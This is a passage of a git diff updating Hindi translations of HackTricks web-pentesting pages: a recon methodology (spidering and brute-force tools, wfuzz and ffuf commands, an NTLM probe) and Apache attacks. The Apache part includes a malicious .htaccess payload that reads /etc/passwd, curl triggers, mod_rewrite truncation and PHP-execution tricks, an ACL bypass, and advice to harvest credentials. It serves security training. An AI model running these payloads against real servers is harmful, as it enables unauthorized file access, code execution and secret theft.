चाहिए। +Launch some kind of **spider** inside the web. The goal of the spider is to **find as much paths as possible** from the tested application. Therefore, web crawling and external sources should be used to find as much valid paths as possible. -- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, JS फ़ाइलों में LinkFinder और external sources (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com) का उपयोग करता है। -- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, JS फ़ाइलों के लिए LinkFider और Archive.org को external source के रूप में उपयोग करता है। -- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, साथ ही "juicy files" का संकेत देता है। -- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider। यह Archive.org में भी सर्च करता है। -- [**meg**](https://github.com/tomnomnom/meg) (go): यह टूल सीधे spider नहीं है पर उपयोगी हो सकता है। आप hosts की एक फाइल और paths की एक फाइल दे सकते हैं और meg हर host पर हर path को fetch करके response को सेव करेगा। -- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS rendering क्षमताओं वाला HTML spider। हालांकि ऐसा लगता है कि यह unmaintained है; precompiled version पुराना है और current code compile नहीं होता। -- [**gau**](https://github.com/lc/gau) (go): external providers (wayback, otx, commoncrawl) का उपयोग करने वाला HTML spider। -- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): यह स्क्रिप्ट parameter वाले URLs खोजेगा और उन्हें list करेगा। -- [**galer**](https://github.com/dwisiswant0/galer) (go): JS rendering क्षमताओं वाला HTML spider। -- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, JS beautify क्षमताओं के साथ जो JS फ़ाइलों में नए पाथ खोज सकता है। यह देखने लायक है [JSScanner](https://github.com/dark-warlord14/JSScanner) भी, जो LinkFinder का wrapper है। -- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML source और embedded javascript फाइलों से endpoints निकालने के लिए। bug hunters, red teamers, infosec ninjas के लिए उपयोगी। -- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado और JSBeautifier का उपयोग कर JS फाइलों से relative URLs parse करने वाला python 2.7 स्क्रिप्ट। AJAX requests ढूँढ़ने में उपयोगी। लगता है unmaintained है। -- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): किसी फ़ाइल (HTML) दिए जाने पर nifty regular expressions का उपयोग कर minified फाइलों से relative URLs निकालता है। -- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): कई tools का उपयोग करके JS फ़ाइलों से interesting जानकारी इकट्ठा करता है। -- [**subjs**](https://github.com/lc/subjs) (go): JS फाइलें खोजता है। -- [**page-fetch**](https://github.com/detectify/page-fetch) (go): headless browser में पेज लोड करता है और पेज लोड करने के लिए लोड होने वाले सभी urls प्रिंट करता है। -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): content discovery tool जो कई विकल्पों को मिलाता है। -- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS फ़ाइलों में path और params खोजने के लिए एक Burp extension। -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): यह टूल .js.map URL दिए जाने पर beautified JS code ला देता है। -- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): किसी target के लिए endpoints discover करने वाला टूल। -- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** wayback machine से links discover करता है (wayback के responses भी download कर के और अधिक links के लिए सर्च करता है)। -- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (यहाँ तक कि forms भरकर भी) और specific regexes का उपयोग करके sensitive info भी खोजता है। -- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite एक advance multi-feature GUI web security Crawler/Spider है जो cyber security professionals के लिए डिज़ाइन किया गया है। -- [**jsluice**](https://github.com/BishopFox/jsluice) (go): यह एक Go package और [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) है जो JavaScript source code से URLs, paths, secrets, और अन्य interesting data extract करता है। -- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge एक simple **Burp Suite extension** है जो request से parameters और endpoints extract करके fuzzing और enumeration के लिए custom wordlist बनाता है। -- [**katana**](https://github.com/projectdiscovery/katana) (go): इस काम के लिए एक शानदार टूल। -- [**Crawley**](https://github.com/s0rg/crawley) (go): यह जितने भी links ढूँढ सके उन्हें प्रिंट करता है। +- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). +- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source. +- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, also indicates "juicy files". +- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. It also searches in Archive.org +- [**meg**](https://github.com/tomnomnom/meg) (go): This tool isn't a spider but it can be useful. You can just indicate a file with hosts and a file with paths and meg will fetch each path on each host and save the response. +- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider with JS rendering capabilities. However, it looks like it's unmaintained, the precompiled version is old and the current code doesn't compile +- [**gau**](https://github.com/lc/gau) (go): HTML spider that uses external providers (wayback, otx, commoncrawl) +- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): This script will find URLs with parameter and will list them. +- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider with JS rendering capabilities. +- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, with JS beautify capabilities capable of search new paths in JS files. It could be worth it also take a look to [JSScanner](https://github.com/dark-warlord14/JSScanner), which is a wrapper of LinkFinder. +- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): To extract endpoints in both HTML source and embedded javascript files. Useful for bug hunters, red teamers, infosec ninjas. +- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): A python 2.7 script using Tornado and JSBeautifier to parse relative URLs from JavaScript files. Useful for easily discovering AJAX requests. Looks like unmaintained. +- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Given a file (HTML) it will extract URLs from it using nifty regular expression to find and extract the relative URLs from ugly (minify) files. +- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Gather interesting information from JS files using several tools. +- [**subjs**](https://github.com/lc/subjs) (go): Find JS files. +- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Load a page in a headless browser and print out all the urls loaded to load the page. +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool mixing several options of the previous tools +- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): A Burp extension to find path and params in JS files. +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): A tool that given the .js.map URL will get you the beatified JS code +- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): This is a tool used to discover endpoints for a given target. +- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links +- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (even by filling forms) and also find sensitive info using specific regexes. +- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is an advance multi-feature GUI web security Crawler/Spider designed for cyber security professionals. +- [**jsluice**](https://github.com/BishopFox/jsluice) (go): It's a Go package and [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) for extracting URLs, paths, secrets, and other interesting data from JavaScript source code. +- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is a simple **Burp Suite extension** to **extract the paramters and endpoints** from the request to create custom wordlist for fuzzing and enumeration. +- [**katana**](https://github.com/projectdiscovery/katana) (go): Awesome tool for this. +- [**Crawley**](https://github.com/s0rg/crawley) (go): Print every link it's able to find. ### Brute Force directories and files -रूट फ़ोल्डर से **brute-forcing** शुरू करें और सुनिश्चित करें कि आप इस **method** का उपयोग करते हुए पाए गए सभी **directories** को brute-force करें और उन सभी directories को भी जो **Spidering** के दौरान **discovered** हुए हों (आप recursively brute-forcing कर सकते हैं और प्रयुक्त wordlist की शुरुआत में पाए गए directories के नाम append कर सकते हैं)।\ +Start **brute-forcing** from the root folder and be sure to brute-force **all** the **directories found** using **this method** and all the directories **discovered** by the **Spidering** (you can do this brute-forcing **recursively** and appending at the beginning of the used wordlist the names of the found directories).\ Tools: -- **Dirb** / **Dirbuster** - Kali में शामिल, **old** (और **slow**) लेकिन functional। auto-signed certificates और recursive search allow करता है। बाकी विकल्पों की तुलना में बहुत slow। -- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: यह auto-signed certificates allow नहीं करता पर recursive search allow करता है। -- [**Gobuster**](https://github.com/OJ/gobuster) (go): यह auto-signed certificates allow करता है, पर इसमें **recursive** search नहीं है। +- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options. +- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search. +- [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search. - [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.** - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` - [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` -- [**uro**](https://github.com/s0md3v/uro) (python): यह spider नहीं है पर दिए गए found URLs की सूची से "duplicated" URLs हटाने का काम करता है। -- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension जो burp history से अलग pages के directories की सूची बनाने में मदद करता है। -- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): js imports के आधार पर duplicated functionalities वाले URLs हटाता है। -- [**Chamaleon**](https://github.com/iustin24/chameleon): यह wapalyzer का उपयोग कर उपयोग की गई technologies detect करता है और उपयुक्त wordlists चुनता है। +- [**uro**](https://github.com/s0md3v/uro) (python): This isn't a spider but a tool that given the list of found URLs will to delete "duplicated" URLs. +- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension to create a list of directories from the burp history of different pages +- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports) +- [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use. **Recommended dictionaries:** @@ -267,41 +267,41 @@ Tools: - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_नोट: जब भी Brute-forcing या spidering के दौरान कोई नया directory discover हो, उसे भी Brute-Force करना चाहिए।_ +_Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._ ### What to check on each file found -- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTMLs के अंदर broken links खोजें जो takeover के लिए प्रवण हो सकते हैं। -- **File Backups**: सभी फाइलें मिलने के बाद, executable files के backups ढूँढें ("_.php_", "_.aspx_"...)। backup नामकरण के सामान्य विकल्प हैं: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp और file.old._ आप टूल [**bfac**](https://github.com/mazen160/bfac) **या** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen) का भी उपयोग कर सकते हैं। -- **Discover new parameters**: छुपे हुए parameters discover करने के लिए आप [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **और** [**Param Miner**](https://github.com/PortSwigger/param-miner) जैसे टूल्स का उपयोग कर सकते हैं। यदि संभव हो तो हर executable web file में hidden parameters खोजने की कोशिश करें। +- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Find broken links inside HTMLs that may be prone to takeovers +- **File Backups**: Once you have found all the files, look for backups of all the executable files ("_.php_", "_.aspx_"...). Common variations for naming a backup are: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ You can also use the tool [**bfac**](https://github.com/mazen160/bfac) **or** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** +- **Discover new parameters**: You can use tools like [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **and** [**Param Miner**](https://github.com/PortSwigger/param-miner) **to discover hidden parameters. If you can, you could try to search** hidden parameters on each executable web file. - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) -- **Comments:** सभी फाइलों की comments चेक करें, वहाँ आपको **credentials** या **hidden functionality** मिल सकती है। -- यदि आप **CTF** खेल रहे हैं, तो एक सामान्य trick यह है कि पेज के source में comment के दाईं ओर बहुत सारी spaces का उपयोग करके (ताकि ब्राउज़र में source देखने पर दिखाई न दे) जानकारी **छुपाई** जाती है। एक अन्य तरीका कई नए lines का उपयोग करके पेज के नीचे comment में जानकारी छुपाना है। -- **API keys**: अगर आपको कोई API key मिलती है तो विभिन्न प्लेटफ़ॉर्म्स की API keys का उपयोग कैसे करें इसके लिए गाइड हैं: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) -- Google API keys: यदि कोई API key कुछ इस तरह दिखती है **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik तो आप यह जांचने के लिए [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) प्रोजेक्ट का उपयोग कर सकते हैं कि key किन APIs को access कर सकती है। -- **S3 Buckets**: Spidering के दौरान देखें कि कोई **subdomain** या कोई **link** किसी S3 bucket से संबंधित तो नहीं है। ऐसी स्थिति में, [**check** the **permissions** of the bucket](buckets/index.html)। +- **Comments:** Check the comments of all the files, you can find **credentials** or **hidden functionality**. +- If you are playing **CTF**, a "common" trick is to **hide** **information** inside comments at the **right** of the **page** (using **hundreds** of **spaces** so you don't see the data if you open the source code with the browser). Other possibility is to use **several new lines** and **hide information** in a comment at the **bottom** of the web page. +- **API keys**: If you **find any API key** there is guide that indicates how to use API keys of different platforms: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) +- Google API keys: If you find any API key looking like **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik you can use the project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) to check which apis the key can access. +- **S3 Buckets**: While spidering look if any **subdomain** or any **link** is related with some **S3 bucket**. In that case, [**check** the **permissions** of the bucket](buckets/index.html). ### Special findings -**Spidering** और **brute-forcing** करते समय आपको कुछ **interesting** चीज़ें मिल सकती हैं जिनकी आपको **नोटिस** करनी चाहिए। +**While** performing the **spidering** and **brute-forcing** you could find **interesting** **things** that you have to **notice**. **Interesting files** -- CSS फाइलों के अंदर अन्य फ़ाइलों के लिए **links** खोजें। +- Look for **links** to other files inside the **CSS** files. - [If you find a _**.git**_ file some information can be extracted](git.md) -- यदि आप _**.env**_ पाते हैं तो उसमें api keys, dbs passwords और अन्य जानकारी मिल सकती है। -- यदि आपको **API endpoints** मिलते हैं तो आप [should also test them](web-api-pentesting.md)। ये फ़ाइलें नहीं हैं, पर ये फ़ाइलों जैसी दिख सकती हैं। -- **JS files**: spidering सेक्शन में कई tools बताए गए थे जो JS फाइलों से पाथ extract कर सकते हैं। इसके अलावा, यह उपयोगी होगा कि प्रत्येक JS फाइल की monitoring की जाए, क्योंकि कुछ मामलों में कोई बदलाव यह संकेत दे सकता है कि कोड में कोई संभावित vulnerability आई है। उदाहरण के लिए आप [**JSMon**](https://github.com/robre/jsmon) का उपयोग कर सकते हैं। -- आप discovered JS files को [**RetireJS**](https://github.com/retirejs/retire.js/) या [**JSHole**](https://github.com/callforpapers-source/jshole) से भी चेक करें कि क्या वे vulnerable हैं। +- If you find a _**.env**_ information such as api keys, dbs passwords and other information can be found. +- If you find **API endpoints** you [should also test them](web-api-pentesting.md). These aren't files, but will probably "look like" them. +- **JS files**: In the spidering section several tools that can extract path from JS files were mentioned. Also, It would be interesting to **monitor each JS file found**, as in some ocations, a change may indicate that a potential vulnerability was introduced in the code. You could use for example [**JSMon**](https://github.com/robre/jsmon)**.** +- You should also check discovered JS files with [**RetireJS**](https://github.com/retirejs/retire.js/) or [**JSHole**](https://github.com/callforpapers-source/jshole) to find if it's vulnerable. - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -- कई मौकों पर आपको उपयोग किए गए regular expressions को समझने की आवश्यकता पड़ेगी। यह उपयोगी होगा: [https://regex101.com/](https://regex101.com) या [https://pythonium.net/regex](https://pythonium.net/regex) -- आप उन फाइलों की भी मॉनिटरिंग कर सकते हैं जहाँ forms detect हुए थे, क्योंकि parameter में कोई बदलाव या किसी नए form का आना किसी संभावित नई vulnerable functionality का संकेत दे सकता है। +- On several occasions, you will need to **understand the regular expressions** used. This will be useful: [https://regex101.com/](https://regex101.com) or [https://pythonium.net/regex](https://pythonium.net/regex) +- You could also **monitor the files were forms were detected**, as a change in the parameter or the apearance f a new form may indicate a potential new vulnerable functionality. **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** @@ -312,28 +312,28 @@ _नोट: जब भी Brute-forcing या spidering के दौरान **502 Proxy Error** -यदि किसी पेज का response उस कोड के साथ है, तो संभवतः यह एक गलत configured proxy है। यदि आप ऐसा HTTP request भेजते हैं: `GET https://google.com HTTP/1.1` (host header और अन्य सामान्य headers के साथ), तो proxy _google.com_ तक पहुँचने की कोशिश करेगा और आपको एक SSRF मिल सकता है। +If any page **responds** with that **code**, it's probably a **bad configured proxy**. **If you send a HTTP request like: `GET https://google.com HTTP/1.1`** (with the host header and other common headers), the **proxy** will try to **access** _**google.com**_ **and you will have found a** SSRF. **NTLM Authentication - Info disclosure** -यदि running server authentication माँग रहा है और वह **Windows** है या आप किसी login को पाते हैं जो आपकी **credentials** माँग रहा है (और **domain** नाम भी माँग रहा है), तो आप एक **information disclosure** provoke कर सकते हैं।\ -`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` header भेजें और NTLM authentication के काम करने के तरीके के कारण, server "WWW-Authenticate" header के अंदर internal info (IIS version, Windows version...) के साथ respond करेगा।\ -आप इसे automate करने के लिए **nmap plugin** "_http-ntlm-info.nse_" का उपयोग कर सकते हैं। +If the running server asking for authentication is **Windows** or you find a login asking for your **credentials** (and asking for **domain** **name**), you can provoke an **information disclosure**.\ +**Send** the **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` and due to how the **NTLM authentication works**, the server will respond with internal info (IIS version, Windows version...) inside the header "WWW-Authenticate".\ +You can **automate** this using the **nmap plugin** "_http-ntlm-info.nse_". **HTTP Redirect (CTF)** -Redirection के अंदर content रखा जाना संभव है। यह content user को दिखाई नहीं देगा (क्योंकि browser redirection execute कर देगा) पर वहाँ कुछ छुपा हुआ हो सकता है। +It is possible to **put content** inside a **Redirection**. This content **won't be shown to the user** (as the browser will execute the redirection) but something could be **hidden** in there. ### Web Vulnerabilities Checking -अब जब web application की व्यापक enumeration हो चुकी है, तो कई संभावित vulnerabilities के लिए जाँच करने का समय है। आप checklist यहाँ पा सकते हैं: +Now that a comprehensive enumeration of the web application has been performed it's time to check for a lot of possible vulnerabilities. You can find the checklist here: {{#ref}} ../../pentesting-web/web-vulnerabilities-methodology.md {{#endref}} -Web vulnerabilities के बारे में और जानकारी: +Find more info about web vulns in: - [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist) - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html) @@ -341,7 +341,7 @@ Web vulnerabilities के बारे में और जानकारी: ### Monitor Pages for changes -आप pages में modifications को monitor करने के लिए जैसे tools का उपयोग कर सकते हैं: [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io), ताकि ऐसे परिवर्तन पकड़े जा सकें जो vulnerabilities जोड़ सकते हैं। +You can use tools such as [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) to monitor pages for modifications that might insert vulnerabilities. ### HackTricks Automatic Commands ``` diff --git a/src/network-services-pentesting/pentesting-web/apache.md b/src/network-services-pentesting/pentesting-web/apache.md index 97911b9bb..3dd7139c0 100644 --- a/src/network-services-pentesting/pentesting-web/apache.md +++ b/src/network-services-pentesting/pentesting-web/apache.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -## Executable PHP एक्सटेंशन्स +## निष्पाद्य PHP एक्सटेंशन्स -जाँचें कि Apache सर्वर कौन सी PHP एक्सटेंशन्स चला रहा है। इन्हें खोजने के लिए आप निम्न कमांड चला सकते हैं: +जाँचें कि कौन से एक्सटेंशन्स Apache सर्वर पर निष्पादित हो रहे हैं। उन्हें खोजने के लिए आप यह चला सकते हैं: ```bash grep -R -B1 "httpd-php" /etc/apache2 ``` -इसके अलावा, कुछ जगहें जहाँ आप यह configuration पा सकते हैं: +इसके अलावा, कुछ स्थान जहाँ आप यह कॉन्फ़िगरेशन पा सकते हैं: ```bash /etc/apache2/mods-available/php5.conf /etc/apache2/mods-enabled/php5.conf @@ -23,12 +23,12 @@ Linux ``` ## LFI via .htaccess ErrorDocument file provider (ap_expr) -यदि आप किसी डायरेक्टरी की .htaccess को नियंत्रित कर सकते हैं और उस path के लिए AllowOverride में FileInfo शामिल है, तो आप ErrorDocument के अंदर ap_expr के file() फ़ंक्शन का उपयोग करके 404 responses को मनमाने स्थानीय फ़ाइल पढ़ने में बदल सकते हैं। +यदि आप किसी डायरेक्टरी की .htaccess को नियंत्रित कर सकते हैं और उस path के लिए AllowOverride में FileInfo शामिल है, तो आप ErrorDocument के अंदर ap_expr file() फ़ंक्शन का उपयोग करके 404 responses को मनमाने स्थानीय फ़ाइल पढ़ने में बदल सकते हैं। -- आवश्यकताएँ: +- Requirements: - Apache 2.4 जिसमें expression parser (ap_expr) सक्षम हो (2.4 में default)। - vhost/dir को .htaccess को ErrorDocument सेट करने की अनुमति देनी चाहिए (AllowOverride FileInfo)। -- Apache worker user के पास लक्षित फ़ाइल पर पढ़ने की अनुमति होनी चाहिए। +- Apache worker user के पास target फ़ाइल पर read permissions होने चाहिए। .htaccess payload: ```apache @@ -37,17 +37,17 @@ Header always set X-Debug-Tenant "demo" # On any 404 under this directory, return the contents of an absolute filesystem path ErrorDocument 404 %{file:/etc/passwd} ``` -उस डायरेक्टरी के नीचे किसी भी मौजूद न होने वाले path का अनुरोध करके ट्रिगर करें, उदाहरण के लिए userdir-style hosting का दुरुपयोग करते समय: +उस डायरेक्टरी के नीचे किसी भी अस्तित्वहीन पथ का अनुरोध करके ट्रिगर करें, उदाहरण के लिए userdir-style hosting का दुरुपयोग करते समय: ```bash curl -s http://target/~user/does-not-exist | sed -n '1,20p' ``` Notes and tips: -- केवल absolute paths ही काम करते हैं। सामग्री 404 handler के response body के रूप में लौटाई जाती है। -- प्रभावी पढ़ने की permissions Apache user की होती हैं (आम तौर पर www-data/apache)। डिफ़ॉल्ट सेटअप में आप /root/* या /etc/shadow नहीं पढ़ पाएंगे। -- यहां तक कि अगर .htaccess root-owned है, अगर parent directory tenant-owned है और rename की अनुमति देता है, तो आप मूल .htaccess का नाम बदलकर अपना replacement SFTP/FTP के जरिए अपलोड कर सकते हैं: +- केवल absolute paths काम करते हैं। कंटेंट 404 handler के response body के रूप में लौटाया जाता है। +- प्रभावी रीड परमिशन्स Apache user (typically www-data/apache) के होते हैं। डिफ़ॉल्ट सेटअप में आप /root/* या /etc/shadow नहीं पढ़ पाएँगे। +- Even if .htaccess is root-owned, if the parent directory is tenant-owned and permits rename, you may be able to rename the original .htaccess and upload your own replacement via SFTP/FTP: - rename .htaccess .htaccess.bk - put your malicious .htaccess -- इसे DocumentRoot या vhost config paths के अंतर्गत application source पढ़ने के लिए उपयोग करें ताकि secrets (DB creds, API keys, आदि) harvest किए जा सकें। +- Use this to read application source under DocumentRoot or vhost config paths to harvest secrets (DB creds, API keys, etc.). ## Confusion Attack @@ -57,11 +57,11 @@ These types of attacks has been introduced and documented [**by Orange in this b #### Truncation -The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Bur in other occasions this will be treated as file path, which would cause a problem. +The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). यह पूरी तरह गलत नहीं है क्योंकि अधिकांश modules `r->filename` को एक URL के रूप में treat करते हैं। लेकिन कुछ अवसरों पर इसे file path के रूप में treat किया जाएगा, जिससे समस्या उत्पन्न हो सकती है। - **Path Truncation** -It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`: +यह संभव है कि निम्न rule उदाहरण की तरह `mod_rewrite` का दुरुपयोग करके फ़ाइल सिस्टम के अंदर अन्य फ़ाइलों तक पहुँच बनाई जाए, अपेक्षित path के अंतिम हिस्से को हटाकर बस एक `?` जोड़कर: ```bash RewriteEngine On RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml" @@ -76,7 +76,7 @@ curl http://server/user/orange%2Fsecret.yml%3F ``` - **Mislead RewriteFlag Assignment** -नीचे दिए गए rewrite rule में, जब तक URL .php पर समाप्त होता है, उसे php के रूप में माना जाएगा और निष्पादित किया जाएगा। इसलिए, यह संभव है कि आप `?` char के बाद .php पर समाप्त होने वाला एक URL भेजें, जबकि path में किसी अलग प्रकार की फ़ाइल (जैसे एक image) को लोड कर रहे हों, जिसके अंदर दुर्भावनापूर्ण php code मौजूद हो: +निम्नलिखित rewrite rule में, जब तक URL .php पर समाप्त होता है, इसे php के रूप में माना जाएगा और execute किया जाएगा। इसलिए, यह संभव है कि `?` char के बाद .php पर समाप्त होने वाला URL भेजा जाए, जबकि path में किसी दूसरे प्रकार की फ़ाइल (जैसे एक image) को लोड किया जा रहा हो जिसमें हानिकारक php code हो: ```bash RewriteEngine On RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php] @@ -91,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php ``` #### **ACL Bypass** -ऐसी कॉन्फ़िगरेशन के साथ भी जिनमें एक्सेस अस्वीकार किया जाना चाहिए, उपयोगकर्ता उन फ़ाइलों तक पहुँच सकता है जिन तक उसे पहुँचने की अनुमति नहीं होनी चाहिए: +ऐसी कॉन्फ़िगरेशन में यह संभव है कि user उन फ़ाइलों तक access कर सके जिन्हें उसे access करने की अनुमति नहीं होनी चाहिए, भले ही access deny किया गया हो: ```xml AuthType Basic @@ -100,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd" Require valid-user ``` -यह इसलिए है क्योंकि डिफ़ॉल्ट रूप से PHP-FPM उन URLs को प्राप्त करेगा जो `.php` पर समाप्त होते हैं, जैसे `http://server/admin.php%3Fooo.php` और चूँकि PHP-FPM चर `?` के बाद की किसी भी चीज़ को हटा देता है, पिछला URL `/admin.php` लोड करने की अनुमति देगा भले ही पिछला नियम इसे प्रतिबंधित करता था। +यह इसलिए है कि डिफ़ॉल्ट रूप से PHP-FPM उन URLs को प्राप्त करेगा जो `.php` पर समाप्त होते हैं, जैसे `http://server/admin.php%3Fooo.php` और क्योंकि PHP-FPM `?` कैरेक्टर के बाद की किसी भी चीज़ को हटा देगा, पिछला URL `/admin.php` लोड करने की 